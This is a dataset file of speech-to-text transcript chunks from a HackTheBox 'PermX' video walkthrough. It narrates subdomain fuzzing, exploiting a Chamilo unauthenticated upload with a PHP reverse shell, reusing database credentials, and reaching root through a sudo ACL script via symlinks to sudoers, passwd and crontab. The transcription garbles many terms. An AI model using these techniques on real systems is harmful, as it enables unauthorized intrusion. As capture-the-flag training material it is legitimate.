k3nn3dy commited on
Commit
753e3cf
·
verified ·
1 Parent(s): 091973c

Add HackTheBox_-_PermX.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_PermX.jsonl +33 -0
HackTheBox_-_PermX.jsonl ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is ipag we doing perm X from hack the box which essentially is just three steps the first of which is discovering the LMS subdomain which contains software called Camilo and this is an open source training platform if you search for exploits there's an unauthenticated file upload vulnerability so you can upload a PHP file and get onto the box once there if you extract the database credentials and try them with local users you can gain access to a user which has the ability to run bash scripts with pseudo that provides a way to give yourself right access to files via fle that are in your home directory however if you create a Sim Link in your home directory you can give yourself access to files outside of it and escalate to rout one of the extra things I did when solving the box is create a bash function to search get repositories for files with an md5 hash which makes it easier to get", "start": 0.28, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
2
+ {"text": "an idea of what version of an open source application is running on a website so with that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV numerate versions DV V for double Bo this gives us things like the TTL OA output off formats put in the end map directory and call it permx then the IP address of 1010 11.23 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and the banner tells us it's an auntu server we also have HTTP on Port 80 it's Banner tells us it's Apache also running on Ubuntu and it's also redirecting us to perm x. htb so let's go ahead and add this to our host file so we can browse to it so dose sudo VY host then we can add 1010 1123 perm x. htb save that and", "start": 48.48, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
3
+ {"text": "we can navigate to it by the web browser and going to the page it just has um an e-learning page and if we click around we see almost everything redirects us back to the homepage so it doesn't look like this page is fully functional yet if I click about we go to about.", "start": 102.72, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
4
+ {"text": "HTML and we just get some basic information there's nothing really um intriguing here the main thing I'm looking for is some type of way to like log in or tell us what the site's built off of right now this just looks like a completely static web page that doesn't really have that much content on it right if we do like read more on this course it just brings us back to the top join now goes back here so I'm not really going to fuzz for like files right because this is all HTML this was PHP maybe I try things like login.php and gobster but I'm just going to go straight to aering for virtual host to see if there's other host on this box that may have um a more interesting web server so let's go ahead and use FFF so we'll do f-u for URL we'll do HTTP perm x. htb and then- Capital H because we", "start": 121.68, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
5
+ {"text": "want to fuzz the header specifically the host one because this is going to be what uses for virtual host then fuzz it's important you do this in all caps if you don't then it's not going to work we can show what that looks like real quick so we can do just fuzz. px. htb and the word list of op secc list Discovery DNS uh let's do subdomains top 1 million 5,000 because that's not going to take long at all and it just finishes instantly without doing anything so again you have to specify fuzz all caps and then we get this now the size keeps changing and that's probably because we're redirecting an including um maybe the virtual host in it let's do a curl we'll do a-v um let's see V pseudo VY host let's just add does not exist. rx. htb I just want to see what this request looks like so we can do a curl DV does not exist perx", "start": 173.0, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
6
+ {"text": "htb and let's see that I was expecting the header that we redirected there we go right here it's redirecting pieces of the domain back to us in the response so that is why the size just changes right so we can't filter on size we could filter on Words lines or status code you can also do the- AC for auto calibrate that does generally a good job at filtering everything um but if I was doing this I'd probably do FC for filter on status code and then just say don't show me the three 2s and that does the job as well we get a dubdub duub and LMS so let's go ahead and add those to our um host file so we'll do stud VY host and then we can go and add let's do dubdub dub and then LMS perx HTP there we go so taking a look at these Pages if we do HTTP dubdub dub. px. HTP we go back to the same thing let's", "start": 235.92, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
7
+ {"text": "do http LMS permx htb and noticing right at the top we have a title change in the page looks completely different so we're running Camilo if we do like index.php we confirm this is a PHP website if we do HTML it's going to error yes it does so we could just go straight for Googling for exploits and if you're a beginner that's probably what you want to do um but for me I always like finding a way to fingerprint what version is running and this is going to go beyond like the easy scope of the box but I think it's still a skill that you should really learn right so one way to go about this is Googling what Camilo is and this is open source um if we um searched around we'd find the GitHub page and it becomes really easy to enumerate versions when you have access to the GitHub because you have", "start": 298.4, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
8
+ {"text": "every single file in its history right we could just curl like readme.md so if I curl um let's do 10 10 11 oh no we want to do LMS perx hdb readme.md let's just close that window clear things up we can get the readme file right and this is going to tell us we're on version 1.11 X so going to the GitHub um let's see the read me this says Camilo 2 I bet if we went to Branch 11x we'd be able to find it right so this is probably our read me page it looks somewhat close what then I do is look at how often this read me changes three years ago um this months ago like the read me doesn't change all that often in this project so we can't use this file um when that happens I always look for a file that changes quite frequently normally that's some um like JavaScript library or requirements. text or composer. Json which composer. Json very", "start": 355.16, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
9
+ {"text": "similar to requirements. text in Python it's just going to list all the dependencies so composer can go autoinstall it so application works so let's go see if we have composer.", "start": 419.8, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
10
+ {"text": "Json and we do so I'm going to save this so we'll just save it to composer. Json and now we want to clone this repository to our box so we can go pull the MD fies for every single composer. Json file so I'm going to do a get clone on this and the repository is actually relatively big so I'm going to pause the video we'll let this finish and then we'll resume okay so we're just about done with the Clone and now we can begin enumerating all the files so we're going to be mainly using two commands I'll split my pane so you can see them both clearly the first one's going to be a get log um first we have to go into the directory right if we do a git log command it's going to show every single commit now with this git log you can specify a file like composer. Json and it's only going to show the logs that have this file right so if I just do a", "start": 432.479, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
11
+ {"text": "get log word count for lines we see 332,000 with specifying just this we only have about 2500 right and I don't think you need those two dashes no we don't the reason why I put it is because it just tells the program uh don't treat anything after these as arguments so it's just like um raw input for file names it's probably the clean way to do it now the other thing we have to do is get the um actual commit right we could just GP the word for commit and then do a um a rant 2 to just get the commit but that's not clean and if the message has the word commit we may have some bad um lines there is a D- pretty option and get and if we do pretty we can specify hey we want the format to only be % H which is the hash and now um maybe pretty comes after log I think that's the case there we go so now we only have the commits awesome the next command we", "start": 486.599, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
12
+ {"text": "want to run is going to be a get show command so if we do get show and then a commit uh we have to also go in the get repel we see the details of that it has some metadata around it like the commit the author and um the plus plus and minus but if we do Aon and then just the file name we want it's just going to give us the file so what this allows us to do is just md5 some from this point and we'll md5 from the file so now we have a list of every single commit and then a way to go into the commit and extract the file to get the md5 sum um we just want to do that right so we'll do A4 commit in this and then do we'll do a get show md5 sum oh we don't want to copy that whole line we'll just do get show then dollar commit colon the file name composer.", "start": 554.12, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
13
+ {"text": "Json done uh shoot uh we need to md5 sum there we go so now we've just md5 Su to every file the issue we have right now is we're not showing the commit we're just showing the md5 so I'll do a eo-n we'll do commit space there we go so let's go up one directory we save the composer. Json off the server so let's just md5 some the composer. Json and then we can grip this output for that hash and we don't get anything and the issue is um we were in the 1.11 or the read me is out of the 1.11 X Branch we did it off of Master so we could either do a get Branch to change a branch to the 1.1x or we can probably do a get log Das is it a for all and that's going to I want to say it was D- all there we go so I guess- a is not it it's-- all and that's going to enable us to go into all branches right so if we just go up a few where we just have this we can wc- L", "start": 616.839, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
14
+ {"text": "composed at Json is 373 times in the master Branch but if we add that D- all it's now 514 because it existed in other branches so going here we have the commit here so if I just do a get show on this commit we can see August 1st 2023 is when this file was introduced so that's going to be around the time of the um software deployment so we can filter out any cve probably before this date because it would have been patched right so this tells us exactly when it was deployed now this took quite a bit to explain we could just put like automate this and put this in our bash history or bash RC file so we always have this function right so if we wanted to we could say like um get hunt and then we won't really specify any arguments we do this and then let's replace the hash with dollar2 and then the file name with dollar", "start": 700.639, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
15
+ {"text": "one and there's one more place we put the file name right here and it really likes this to be a separate line so now we have a get hunt command so if I do get hunt I already forgot what the hash was md5 Sum composer so we can say get hunt composer. Json paste this we don't have to type that command and if we wanted to we could easily just save this so if I copy this V bash RC let's put this near the top get hunt there we go we can clean it up a little bit so it's easier to read Echo commit don't need that there we go and let's see I'm going to do a a rint one because we don't need to see the md5 Su again the first one's just going to be the commit so this looks good save this and then let's just um create a new pane we go into Camilo I'm going to copy this command so we run it again and we'll know Port it from The Bash history if this data is missing right the actual", "start": 768.839, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
16
+ {"text": "hash so run it and now we have that saved into our bash RC file so if we have to hunt for a file we could do that quickly so hopefully you enjoyed that um I know enjoy making these small optimizations and this makes hunting for versions much much quicker so now let's just Google and do the easy way uh Camilo exploits so we do Camilo exploits um we see one right here and we can probably ignore this one right because this is 2021 yeah I'm going to go ahead and ignore that um let's seeo exploit 2023 and looks like we have a few here so November 28th 2023 this is looking like what we want right we saw Eartha was on November 1st 2023 this is November 28th so we can probably search GitHub for this so if we just do GitHub uh we have a PC here we could try to read the cve details and understand what's going on or just look at a python script and see how it", "start": 855.279, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
17
+ {"text": "works so let's see we have a PHP reverse shell so with open the file name it's going to um create a files dictionary the arguments big upload file this be the contents of the file and it's uploading to Big upload PHP action post unsupported so it looks like it's that simple we just specify upload so let's go ahead and grab a uh PHP shell so I'll do CP user share L num uh PHP then what is it PHP reverse shell.", "start": 940.88, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
18
+ {"text": "PHP we can edit this because we want to put our IP address there it is we'll do 10 10 148 I have three T 90001 there we go and I'm going to rename this to just be rev. PHP so it's easier to type and then that's going to be the place we want to upload to so we'll do a curl um let see is there file I know there's an argument for file it's either like Dash lowercase or uppercase F output F was a bad search if I do like that I think that's it I think it's a form so we'll do curl D capital F uh what is it big upload file big upload file is equal to at rev. PHP I'm not positive we're doing this right per x. htb we need do LMS and we could just run the exploit script right but if it's something as simple as this I like just doing it manually because this proves we understand what's going on in the exploit uh says the file has been successfully uploaded so I think we did", "start": 985.72, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
19
+ {"text": "it correctly okay and then we want to execute it so it goes into this directory files and then the file name so let's do curl HTTP LMS px. htb files we called it rev.", "start": 1075.48, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
20
+ {"text": "PHP nvmp 901 we have to close out our single quote and we get a shell so it is that simple so let's upgrade a shell so do python 3- C import PTY PT y spawn b bash there we go stty raw minus Echo foreground and we can export term is equal to X term which allows to do things like clear the screen so let's see we're dubdub duub data uh the first thing I like doing is going to the web source and trying to extract the um database configuration because to connect to mySQL we need a password it's always good to have passwords and then once we get that it allows us to go into the mySQL database and dump all the hashes and then try to crack those so this is a good source to get a bunch of credentials which then can be used for lateral movement so we want to find where the configuration can be um I'm", "start": 1097.4, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
21
+ {"text": "going to do find Dot and we're going to GP for config.php is common in PHP uh there's a lot of them uh let's see database plugin I don't think that's going to be it let's see what's an app there's a directory config so we could also do like find do- typed for directory Dame config and that's going to give us every config directory which still has quite a bit the vendor directory you can generally ignore because that's probably going to be dependencies but we do have like apt resources like you can probably ignore that safely this app config this definitely looks interesting so let's go in there and then we have a config.yml that sounds good so if we less config yl let's see do we have passwords in here database like the database password was in um like a templating language let's see GP my SQL all", "start": 1157.799, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
22
+ {"text": "these let's hide error messages so config parameters. that doesn't look good- I password there's going to be a lot of them there is a configuration.php did I just miss that I did completely miss that so let's look at configuration.php and right at the top we have Local Host Camilo DB password so the user is Camilo this is the DB password um I'm going to cat Etsy pass WD then I'm going to GP every line that ends in sh and there's only one user on this box that's MTZ there's also a root user but we can test this password with MTZ so I can do su- MTZ put the password in and that let us log in as him right I would also go like MySQL D Camilo DP put this password in then we can do show databases use Camilo show tables look for where the users okay we need a semicolon uh let's do a describe users user not plural and we can say select", "start": 1232.559, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
23
+ {"text": "what is it probably ID user ID username ID let's just do username and what's the password going to be probably password from user and we could try cracking these hashes as well but we already made good progress by switching to MTZ user so let's do that um we have to grab that password again because I did not save it there we go su- MTZ log again and let's see I'm actually going to SSH 10 10 11 23 forgot at whenever like SSH is available I like using it just because we get a proper shell and then if we wanted to eventually tunnel we could easily just do like the squiggly c um this on a new line and that dropped you in that prompt so we could tunnel um I like having SSH so let's do a pseudo- l and we can see MTZ can run opt ACL with no arguments so I'm going to cat this file so if we cat it we can see what we can do", "start": 1319.32, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
24
+ {"text": "so we need three arguments uh user is the first argument perm is the second target is the three if the file is not in home MTZ um then we're going to Echo access denied oh I was like I don't know what this is doing this is probably checking for uh path reversal right where Target is equal to dot dot um access denied then we say if Target um it needs to be a file and if it is we're going to run pseudo set fle um um that pseudo is not needed because we're already root at that point right we do pseudo L yeah we'd already be root so as root it's going to run pseudo again for good measure I guess then we're going to do setle um the mode I think that's what m stands for user MTZ and then permissions on the target so right now I'm thinking there's two ways to exploit this um the first is probably going to be Sim links right so if I do let's do a um ln- s and", "start": 1401.08, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
25
+ {"text": "then we can specify a file so let's just specify Etsy pseudo s and we could call it what we want if I specified pseud it would make the Sim link there but um I learned with the Ln command if you don't specify a file name it's going to create the Sim Link in your current directory with that file which is pretty cool so what we want to do is um what is it pseudo opt ACL we want to specify MTZ for the username uh the permission I'm going to give read write execute and then we're going to do home MTZ pseudo wor and now if I do get fle on this we can see the user MTZ has read write execute over Etsy suers um and if I do ls- la on it um it's still root root right so these are just extended attributes so this plus means there are um faal involved so we want now we can just vors um go here and then we can just say", "start": 1470.799, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
26
+ {"text": "all all I'm going to say bin bash now I do pseudo- L we can suddenly do pseudo bash and boom We root so there's other ways we could um exploit this right we could edit the past WD file so if we do the same thing let's see um ln- S at the past WD then that sudo command where is it home MTZ pass WD then V at Z passwd and we can put a password for root so if we just do openl pass WD um all right I guess Please Subscribe that'll give us a hash and it only goes to eight characters so we can put that here then Su and please is that eight one no that's no way eight that's six so I made that harder than it had to be please Su there we go we are root so so we can edit passwd as well we can edit the shadow file um what else could we do oddly enough we can't um edit a set uid binary which is odd I'm going to leave this as a root shell um we want to", "start": 1547.559, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
27
+ {"text": "grab this password again copy sh MTZ at 10 10123 um I'm just grabbing the root Shel so it's easier to return there right but if we wanted to We Can't edit a set u ID binary so let's show that um cat opt ACL what am I doing trying to remember exactly everything I did oh symbolic link let's find a um set u ID so we'll do find sl- perm minus 4000 hide error messages so all these are set uid binaries I don't really care about um let's get rid of gwd this one doesn't really matter so if we do ln- s on this then opt ACL Dosh pseudo MTZ read write execute on home MTZ G passwd we can now write this so if we do a get fle on user b g passwd uh we can write to it and right now the file still has a set uid bit now I'm just going to open this and then we're going to do a w we we just wrote to it we didn't write anything we just did a write command of nothing and then I look at this file again and it removed the", "start": 1634.76, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
28
+ {"text": "set uid binary or the set uid bit so that's why we can't just overwrite these binaries with um other content with this so that's a cool security thing it did confuse me I never thought that um a low privilege user writing to a binary that's configure a set u ID would just erase that permission bit um the other thing which is why I got a root shell is if we try to do cron tab something interesting happens so let's do ln- s Etsy Chon Tab and now we should be able to do that um pseudo command let's specify cron Tab and then V Etsy cron Tab and I'm just going to say every single minute uh do a touch we got to do it as root um touch toned so I do LSL play temp we don't have AED we can do grap ped there we go we don't have it actually let's do a watch command so we can see exactly when it comes up so let's do SSH MTZ at 10 10", "start": 1741.559, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
29
+ {"text": "1123 paste watch temp poned not found and I think the cleanup script actually changed that that's annoying ln- s ln- s there we go um V reset. sh what is this doing so I'm going to uncomment all these so these are files that it's reverting okay so let's make our change again 1 2 3 4 5 root touch temp Pon okay so every minute theoretically we should be getting a file right there and one just happened and we did not get it and the reason why is if we go to ver log um I don't think it's a Chron log I think it's in messages um let's see it's either messages or CIS log let's just tail 100 grap dasi cron we see it erroring we have insecure mode group other rable on Etsy Chon tab so we can't um edit the cron easily because it goes into this insecure mode which just refuses to run the cron so on the next minute we're going to see um nothing happen right if I do date uh we", "start": 1814.519, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
30
+ {"text": "got another 15 seconds so we can do sleep 15 and I'm going to see if we can tail this little quickly let's just do tail-f so when the Sleep finishes I'm guessing we're going to see another insecure message that just says the KRON wasn't ran because of this remember that only happens when it reloads um because it's definitely been that minute didn't get a message it's probably just whenever a file is edited right V Etsy cron tab let's just write nothing let's see I expected to see more doesn't look like it keeps repeating okay that's fine so if we then go back to use our pseudo command and I'm going to go say a dash for the permission so this is going to remove the fa right um let's just do that real quick or get fle Etsy Chron tab we can see that run it it's now removed we see the rwx is gone so it's been a", "start": 1919.679, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
31
+ {"text": "minute it just ran and this changed to permission denied not um not found it was trying to execute that I should have done a LS toned but now you can see the KRON is running because uh we have right permission there so I think the last thing I want to do before I wrap up this video um a lot of people may think you could do like Roots SSH key but we can't because we don't have permission to go into the root directory so because we don't have that we don't have access to SSH to create the Sim link right so if I do ln- s root SSH all authorized Keys maybe uh let's do this set fle opt empty Z I thought we just because we couldn't go in the directory we couldn't create that Sim link but it looks like it did so we just did that V okay I think we can't write anymore let's see one second root yeah so we can create the Sim link but when we go to V it it can't um grab the", "start": 1997.84, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
32
+ {"text": "file even though we would have permission to it um we just can't because we don't know where it is so that's a weird thing where if we do a LS it shows that Sim link is created but because we can't go into this SSH directory we can't read the key um we can probably fully validate that let's do get fle on authorized Keys we can see the user the permissions were set because um this opt ACL runs as pseudo so it can see it and so it can follow the link if I do a chod 777 on SSH V authorized Keys we still get permission denied oh because we can't get into root either so there we go now the link actually um validates so that's another thing if you look and you got this white and red that means hey I can't even find this file we fixed the permission issue so we can go in these two directories it no", "start": 2082.44, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}
33
+ {"text": "longer shows red so if we go to V it um it's an empty file but we can now read it so that's why we couldn't just edit authorized Keys similarly that's why we can't go in like ver um spool cron cron tabs and write to like rout this way because we don't have directory to or we don't have access to the Chron tabs directory and that wraps up the box so hope you guys enjoyed it take care and I will see you all next time", "start": 2160.04, "duration": 0.0, "meta": {"video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"}}